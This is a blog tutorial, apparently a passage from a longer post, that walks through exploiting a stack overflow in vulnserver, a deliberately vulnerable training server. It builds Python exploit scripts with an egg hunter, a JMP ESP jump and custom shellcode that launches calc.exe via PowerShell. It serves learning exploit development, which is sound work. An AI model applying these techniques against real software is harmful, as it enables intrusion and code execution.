Identifying the Offset

However, right now we are sending 10000 A’s. That means we have no clue which A exactly controls EIP. To identify the offset we can use Metasploit. To do so, fire up your Kali VM and connect to it using SSH. After that run the following command to create a unique pattern:

1. [email protected]:~ /usr/share/metasploit-framework/tools/pattern_create.rb 10000

Now update your fuzzer to send that unique pattern instead of the A’s and again inspect the output in Immunity Debugger:

As you can see we again triggered some kind of error. However this time we can exactly identify which offset allows us to control the execution flow. To do so we use another Metasploit tool:

1. [email protected]:~ /usr/share/metasploit-framework/tools/pattern_offset.rb 63413363
2. [*] Exact match at offset 70

This means, that the value at offset 70 is the one that overwrites the return address on the stack and finally ends up in EIP. As EIP contains the address of the next instruction that will be executed we now have to find a suitable address we can jump to.

Gaining Code Execution

Before searching for a suitable address we have to think about our next step: Delivering our payload. Our malicious code also has to be delivered with our exploit. Therefore it makes sense to first inspect the memory layout during the stack overflow in detail so we can find space for it. I updated the fuzzer again so we can learn more about possible attack vectors during our analysis:

1.  #!/usr/bin/env python
2.
3.  import socket
4.
5.  IP = '127.0.0.1'
6.  PORT = 6666
7.  BUFFER_SIZE = 1024
8.
9.  cmd = "KSTET"
10. pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A..."
11.
12. print "Connecting to "+IP+" on port "+str(PORT)
13. print ""
14.
15. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16. s.connect((IP, PORT))
17. print s.recv(BUFFER_SIZE)
18.
19. print "Attacking "+cmd
20. s.send(cmd+" "+pattern)
21. print s.recv(BUFFER_SIZE)
22. 
23. s.close()

We can get quite a lot of important information out of this crash:

1. Our 70 byte offset is correct
2. ESP points to our B’s. That means we can use it to place and execute code from there.
3. However as there are only 20 B’s we only have 20 bytes for our payload…. That means we have to use several stages!
4. Our 70 byte offset can be reused within our staged exploit

The following image tries to clarify the output even more:

Based on that we will now take the following steps:

1. Find an “JMP ESP” instruction to jump to => That transfers control to the commands in the memory region where our B’s were and that we control
2. There we place some custom ASM instructions that transfer control to the beginning of our A’s. Then we have at least 70 bytes for our next payload stage.

Finding an JMP ESP Instruction

As stated above, we first have to find an JMP ESP instruction within the process memory. However there is one more thing to consider: ASLR. ASLR is a security feature that randomizes the addresses of the process memory. That means that we can not simply use any JMP ESP instruction as most of them will have a different memory address after a process or system restart. So in the first step we have check if there are any non-ASLR library loaded and than search for an JMP ESP instruction within them.

The screenshot above illustrated this process. At first we use the command !mona noaslr to list all modules that don’t use ASLR. The important thing is that we can only use modules that don’t have a NULL (00) character within their address. That mean only essfunc.dll is suitable for our needs.

To check if there are any JMP ESP instructions within essfunc.dll the follwing command can be used: !mona find -type instr -s “jmp esp” -m essfunc.dll (The command has been changed). It lists all found instructions with their corresponding address. The first one at 0x625011AF is already perfectly suitable for us: It contains the correct instruction and its address does not include NULL characters.

We can now again update our exploit with the new destination address. Also note that I replaced the B’s with a single 0xCC. This maps to the assembler command INT 3h, which in turn triggers a breakpoint within our debugger. Thereby we can easily verify if you exploit is working as expected.

1.  #!/usr/bin/env python
2.  import socket
3.
4.  IP = '127.0.0.1'
5.  PORT = 6666
6.  BUFFER_SIZE = 1024
7.  TRIGGER_BREAKPOINT = "\xCC"
8.
9.  cmd = "KSTET"
10.
11. addr = "\xAF\x11\x50\x62" # JMP ESP in essfunc.dll (0x625011AF)
12.
13. pattern = 70*"A"+addr+TRIGGER_BREAKPOINT
14.
15. print "Connecting to "+IP+" on port "+str(PORT)
16. print ""
17.
18. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19. s.connect((IP, PORT))
20. print s.recv(BUFFER_SIZE)
21.
22. print "Attacking "+cmd
23. s.send(cmd+" "+pattern)
24. print s.recv(BUFFER_SIZE)
25. 
26. s.close()

Creating a Little Room to Breathe

Although we finally managed to get code execution we only have 20 bytes… That’s not a lot so we need to make ourself a little more room to breathe. To do so we will jump from our initial 20 byte buffer to the much larger 70 byte memory region at the beginning of our buffer. The following color-coded image illustrates the next steps:

As already documented in the image we have to jump from the initial memory region to the 70 byte buffer in front of it. As this buffer starts 74 bytes in front of where ESP currently points to we simply subtract 74 from ESP (SUB ESP,74) and the jump there (JMP ESP). Metasploit’s interactive nasm_shell ASM helper utility helps us to convert this instructions to hex:

1. [email protected]:~ /usr/share/metasploit-framework/tools/nasm_shell.rb 
2. nasm: sub esp,74;
3. 00000000  83EC4A            sub esp,byte +0x4a
4. nasm: jmp esp;
5. 00000000  FFE4              jmp esp
6. nasm: quit

Now the exploit can be updated with this instructions:

Luckily this problem has been encountered before an there even is a solution: Egg hunting. The principle is pretty easy: The attacker somehow places a shellcode in the attacked process, prepended with some special string (the egg). After that he triggers the actual vulnerability and drops the egg hunter. This little function starts to search the egg within the process’s memory and if found redirects execution to the shellcode. I really recommend Corelan’s blog post for further details: Exploit writing tutorial part 8 : Win32 Egg Hunting.

Tipp: Before continuing any further change Immunity’s Exception configuration so that Memory access violations are ignored! They are used internally by the egg hunter and make it impossible to work with the debugger if not disabled.

After that, there is only one last problem: How can the shellcode be placed into memory? Well, the good thing is we have access to vulnserver’s sourcecode (vulnserver.c):

1. ...
2. char *GdogBuf = malloc(1024);
3. ...
4. } else if (strncmp(RecvBuf, "GDOG ", 5) == 0) {				
5.	strncpy(GdogBuf, RecvBuf, 1024); // GdogBuf is a connection-wide variable
6. SendResult = send( Client, "GDOG RUNNING\n", 13, 0 );
7. ...

1.  #!/usr/bin/env python
2.  import socket
3. 
4.  ###########################################################
5.  # CONFIGURATION
6.  ###########################################################
7.  IP = '127.0.0.1'
8.  PORT = 6666
9.  BUFFER_SIZE = 1024
10. EGG = "\x77\x30\x30\x74" # tag w00t
11.
12. ###########################################################
13. # ASM Commands
14. ###########################################################
15.
16. BREAKPOINT = "\xCC"
17. NOP = "\x90"
18.
19. # W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
20. EGGHUNTER =  ""
21. EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
22. EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
23. EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
24. EGGHUNTER += EGG  
25. EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
26. EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"
27.
28. ###########################################################
29. # Exploit
30. ###########################################################
31.
32. # shellcode to use:
33. shellcode = BREAKPOINT 
34.
35. print ""
36. print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
37. print " - a stack overflow, "
38. print " - egg-hunting "
39. print " - and a custom shellcode"
40. print ""
41. print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
42. print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
43. print ""
44.
45. print "Connecting to vulnserver "+IP+" on port "+str(PORT)
46. print ""
47. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
48. s.connect((IP, PORT))
49. print s.recv(BUFFER_SIZE)
50.
51. # 1) put shellcode into memory!
52. cmd = "GDOG"
53.
54. print "Sending shellcode using "+cmd
55. data=cmd+" "+EGG+EGG+shellcode
56. 
57. s.send(cmd+" "+data)
58. print s.recv(BUFFER_SIZE)
59.
60. # 2) sending exploit
61. cmd = "KSTET"
62. jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
63. sub_esp_74 = "\x83\xEC\x4A"
64. jmp_esp = "\xFF\xE4"
65.
66. data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
67. print "Shellcode Padding: "+str(len(EGGHUNTER))
68. print "Attacking "+cmd
69. 
70. s.send(cmd+" "+data)
71.	
72. s.close()

To summarise: We triggered a buffer overflow, overwrote the return address on the stack, jumped from our small 20 byte buffer to our bigger 70 byte buffer, where we stored our Egg hunter. This Egg hunter then searched the process’s memory for the egg and transferred execution to the instruction after it. Well done!

In the next step we need some kind of shellcode to do some actual “malwary” stuff. As I was unable to get the Metasploit payloads (msfvenom -a x86 –platform windows -p windows/messagebox TEXT=”We are evil” -f python -b “\x00” -v MSF_PAYLOAD) to execute reliably I wrote my own.

Writing the shellcode

However as it is quite difficult to write a shellcode from scratch (especially if you have never done it before) I went with a well documented template, namely NoviceLive’s. Before we start adapting it, let’s define our goal: As this is some kind of “tutorial” we will just execute calc.exe to proof that we gained code execution. However we will take the cool way(R) and use Powershell to do so. Thereby this example can be easily modified to do something else.

Let’s start with discussing the inner workings of the messagebox shellcode. To do so we use the following pseudocode snipped instead of the actual ASM code. This makes it a little easier to understand everything.

1.  function main:
2.      // Prepare 
3.      peb = NtCurrentTeb().ProcessEnvironmentBlock // TEB = Thread Environment Block 
4.      ldr = peb.Ldr; // get list of loaded modules
5.      kernel32_dll_base = find_kernel32_dll_base() // get kernel32.dll
6.      get_proc_address = find_get_proc_address(kernel32_dll_base) // get address of GetProcAddress 
7.      load_library = get_proc_address(kernel32_dll_base,"LoadLibraryA") // find pointer to LoadLibrary
8. 
9.      // Do the actual shellcode thing
10.     user32_dll_base = load_library("user32") // load user32.dll library
11.     message_box_a = get_proc_address(user32_dll_base,"MessageBoxA") // find pointer to MessageBoxA
12.     message_box_a(NULL, "Hello World!", NULL, MB_OK) // display "Hello World" msgbox
13.    
14.     exit_thread = get_proc_address(kernel32_dll_base,"ExitThread") // find pointer to ExitThread
15.     exit_thread() // exit thread in a clean way
16. 
17. function find_kernel32_dll_base:
18.     for module in ldr.InInitializationOrderModuleList:
19.         if module.BaseDllName[6] == "3": // if module.BaseDllName == 'kernel32.dll':
20.             return module.AddressOfNames // simplified
21. 
22. function find_get_proc_address(kernel32_dll_base):
23.     exportNamePointerTable = kernel32_dll_base.ExportNamePointerTable
24.     for pointer in exportNamePointerTable: // simplified
25.         if pointer.name == "GetProcA":
26.             return pointer.AddressOfFunctions

As soon as the execution of the shellcode is triggered it first has to find all the necessary function addresses to do something useful. NoviceLive’s messagebox shellcode simply opens a messagebox (who would have thought that) so it needs a reference to the corresponding ShowMessageBoxA function. To get this reference it first loads the User32 library (as stated at the bottom of the linked MSDN page) that exports ShowMessageboxA.

Writing Shellcode is quite different from normal programing: You don’t have all the little helpers – like a higher level programming language or a loader that fixes your addresses –  so you have to do all that hand. But that will not stop us!

So let’s start:

1. As the shellcode is blind in the beginning (in the sense that it does not know anything about the memory layout of the process) it has to obtain some kind of reference. This reference – namely the base address of kernel32 – is extracted from the Thread Environment Block using the loaded modules list (Ldr).
2. After that all the exported functions of kernel32 are iterated to find the address of GetProcAddressA.
3. GetProcAddressA is than used to find the memory location of LoadLibraryA
4. Now the actual shellcode starts: LoadLibraryA is used to ensure that user32 is loaded
5. GetProcAddressA is then called to obtain the function pointer to MessageBoxA
6. After manually pushing all the function parameters to the stack MessageBoxA is finally called and a messagebox is shown.
7. To clean up GetProcAddressA is used again to obtain the pointer for ExitThread, which in turn is then called to exit the current thread.

To test the initially obtain shellcode open the Developer Command Prompt for VS2015 (or whatever version you have installed) and run the build32.cmd from within the messagebox folder (you can download the package with all different shellcodes from here). As shown below you can verify that the shellcode is working by simply running the EXE that was built.

To finally test the shellcode in the exploit open the previously created EXE within your hex editor of choice (like HxD) and copy the actual shellcode instructions into a text editor (like Notepad++). Then fix it so that it is a valid Python string (using search and replace to replace all spaces with \x should to the trick – don’t forget the first hex char!)

Then update the exploit with the newly created payload (Attention: payload truncated!):

1.  #!/usr/bin/env python
2.  import socket
3.
4.  ###########################################################
5.  # CONFIGURATION
6.  ###########################################################
7.  IP = '127.0.0.1'
8.  PORT = 6666
9.  BUFFER_SIZE = 1024
10. EGG = "\x77\x30\x30\x74" # tag w00t
11.
12. ###########################################################
13. # ASM Commands
14. ###########################################################
15. 
16. BREAKPOINT = "\xCC"
17. NOP = "\x90"
18.
19. # W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
20. EGGHUNTER =  ""
21. EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
22. EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
23. EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
24. EGGHUNTER += EGG  
25. EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
26. EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"
27.
28. # Messagebox Shellcode /Tools/shellcoding-master/windows/messagebox/messagebox32.asm 
29. MSGBOX = "\x33\xC9\x64\x8B\x49\x30\x8B ... ";
30.
31. ###########################################################
32. # Exploit
33. ###########################################################
34.
35. # shellcode to use:
36. shellcode = MSGBOX 
37.
38. print ""
39. print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
40. print " - a stack overflow, "
41. print " - egg-hunting "
42. print " - and a custom shellcode"
43. print ""
44. print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
45. print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
46. print ""
47.
48. print "Connecting to vulnserver "+IP+" on port "+str(PORT)
49. print ""
50. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
51. s.connect((IP, PORT))
52. print s.recv(BUFFER_SIZE)
53.
54. # 1) put shellcode into memory!
55. cmd = "GDOG"
56.
57. print "Sending shellcode using "+cmd
58. data=cmd+" "+EGG+EGG+shellcode
59.
60. s.send(cmd+" "+data)
61. print s.recv(BUFFER_SIZE)
62.
63. # 2) sending exploit
64. cmd = "KSTET"
65. jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
66. sub_esp_74 = "\x83\xEC\x4A"
67. jmp_esp = "\xFF\xE4"
68.
69. data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
70. print "Shellcode Padding: "+str(len(EGGHUNTER))
71. print "Attacking "+cmd
72.
73. s.send(cmd+" "+data)
74.	
75. s.close()

Now it’s testing time: Run vulnserver (with or without the debugger) and launch the attack: If everything worked as expected a messagebox should open. (Attention: Sometimes it’s not the front most window!)

Modifying the Shellcode

In the next step the shellcode will be updated to launch calc instead of showing a boring messagebox. To do so we will use the ShellExecuteA API.

After copying the messagebox example, the first change is to load another library – namely shell32 instead of user32.

Then use the string_to_push.py script to create the necessary instructions that push the string “Shell32” to the stack. As the length of the string has to be a multiply of 4 a single space has to be added. Then replace the old PUSH commands with the newly created one’s and fix them accordingly by removing the 0x prefix and by appending a h postfix.

Beside that a little trick has to be used to create a valid NULL terminated string out of the PUSH commands that were generated. What needs to be done it that the last character – the space that was added – has to be replaced with a NULL character. However the NULL character can not be used as it would truncate the exploit. To workaround this we use a little math trick: The first push instruction push 2032336ch is changed to push 0132336ch. After that the instruction dec byte ptr [esp + 3h] is added. This instruction decrements the first hex character by one and causes the final value to be 0032336ch. Exactly what we wanted: A NULL terminator!

In the final step the original call to MessageBoxA has to be replaced with a call to ShellExecuteA. Based on the MSDN documentation the following C function call has to be implemented:

1. ShellExecuteA(NULL, NULL, "powershell.exe", "-Command \"calc.exe\"", NULL, 0);

So begin by removing the original call to MessageBoxA (should be around line 133 to line 155). Then start by using GetProcAddress to request the address of ShellExecuteA:

1.  ;; eax = GetProcAddress(eax, "ShellExecuteA")
2.  push edi
3.	
4.  ;; put "A%00 on stack"
5.  xor ecx, ecx
6.  mov cx, 0141h
7.  push ecx
8.  dec byte ptr [esp + 1h]
9.
10. push 65747563h ;cute
11. push 6578456ch ;lExe
12. push 6c656853h ;Shel
13. push esp
14. push eax
15. call esi

Next push all the required strings to the stack and store their address. Again use the string_to_push.py util to create the initial push instruction. Don’t forget to add and fix the required string NULL characters.

1.  ;push powershell.exe to the stack
2.  push 01206578h
3.  dec byte ptr [esp + 3h]
4.  push 652e6c6ch
5.  push 65687372h
6.  push 65776f70h
7.  mov edx, esp ; store the address in edx
8.
9.  ;push -Command "calc" to the stack
10. push 0122636ch
11. dec byte ptr [esp + 3h]
12. push 61632220h
13. push 646e616dh
14. push 6d6f432dh
15. mov ecx, esp ; store the address in ecx

As now all prerequisite have been met ShellExecuteA can be invoked:

1.  ;; Finally call ShellExecuteA(NULL, NULL, "powershell.exe", "-Command \"calc.exe\"", NULL, 0);
2.  push edi ; Spacing so that is is easier to debug
3.  push edi
4.
5.  push edi ; IsShown = NULL
6.  push edi ; DefDir = NULL
7.
8.  push ecx ; Parameters
9.  push edx ; Filename
10.
11. push edi ;Operation = default
12. push edi ;hwnd = NULL
13. call eax

After all this hard work it is time to test our shellcode. As discussed before use the build32.cmd to compile the ASM instructions and launch the created EXE. If calc.exe is started then everything is correct. Otherwise I recommend to directly debug the application using Immunity Debugger to check exactly what is going wrong.

Then again open the EXE in a hex editor and copy the shellcode to a text editor. There add the required \x prefixes by using search and replace so that a valid Python string is created. After that add it to the exploit script:

1.  #!/usr/bin/env python
2.  import socket
3.
4.  ###########################################################
5.  # CONFIGURATION
6.  ###########################################################
7.  IP = '127.0.0.1'
8.  PORT = 6666
9.  BUFFER_SIZE = 1024
10. EGG = "\x77\x30\x30\x74" # tag w00t
11.
12. ###########################################################
13. # ASM Commands
14. ###########################################################
15.
16. BREAKPOINT = "\xCC"
17. NOP = "\x90"
18.
19. # W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
20. EGGHUNTER =  ""
21. EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
22. EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
23. EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
24. EGGHUNTER += EGG  
25. EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
26. EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"
27.
28. # Messagebox Shellcode /Tools/shellcoding-master/windows/messagebox/messagebox32.asm 
29. RUN_CALC = "\x33\xC9\x64\x8B\x49\..."
30.
31. ###########################################################
32. # Exploit
33. ###########################################################
34.
35. # shellcode to use:
36. shellcode = RUN_CALC 
37.
38. print ""
39. print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
40. print " - a stack overflow, "
41. print " - egg-hunting "
42. print " - and a custom shellcode"
43. print ""
44. print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
45. print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
46. print ""
47.
48. print ">> Connecting to vulnserver "+IP+" on port "+str(PORT)
49. print ""
50. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
51. s.connect((IP, PORT))
52. print s.recv(BUFFER_SIZE)
53.
54. # 1) put shellcode into memory!
55. cmd = "GDOG"
56.
57. print ">> Sending shellcode using "+cmd
58. data=cmd+" "+EGG+EGG+shellcode
59.
60. s.send(cmd+" "+data)
61. print s.recv(BUFFER_SIZE)
62.
63. # 2) sending exploit
64. cmd = "KSTET"
65. jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
66. sub_esp_74 = "\x83\xEC\x4A"
67. jmp_esp = "\xFF\xE4"
68.
69. data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
70. print ">> Shellcode Padding: "+str(len(EGGHUNTER))
71. print ">> Attacking "+cmd
72.
73. s.send(cmd+" "+data)
74.	
75. s.close()

Presumably everything was done correctly the exploit should launch calc.exe:

Well done: You have reached the end of this very very very long post. I hope you will try to exploit or even already exploited the vulnerability on your own. I at least had a lot of fun while solving the puzzles and additionally learned a lot while doing so!

About the author

My name is Florian and I’m an IT Security Expert. I run my own company called “Bee IT Security” (https://bee-itsecurity.at) were our goal is to make complex security related topics easier to understand, so that the right decisions can be taken. In my free time I love to write for my blog https://bogner.sh. Additionally, I still sometimes find the time to hunt for bugs on HackerOne and Bugcrowd. A few years ago I graduated at the UAC Technikum Vienna with a bachelor degree in Information and Communication Systems. A few years ago I graduated at the UAC Technikum Vienna with a bachelor degree in Information and Communication Systems.

The article was originally published at: https://bogner.sh/2016/04/the-hard-life-of-exploit-developers/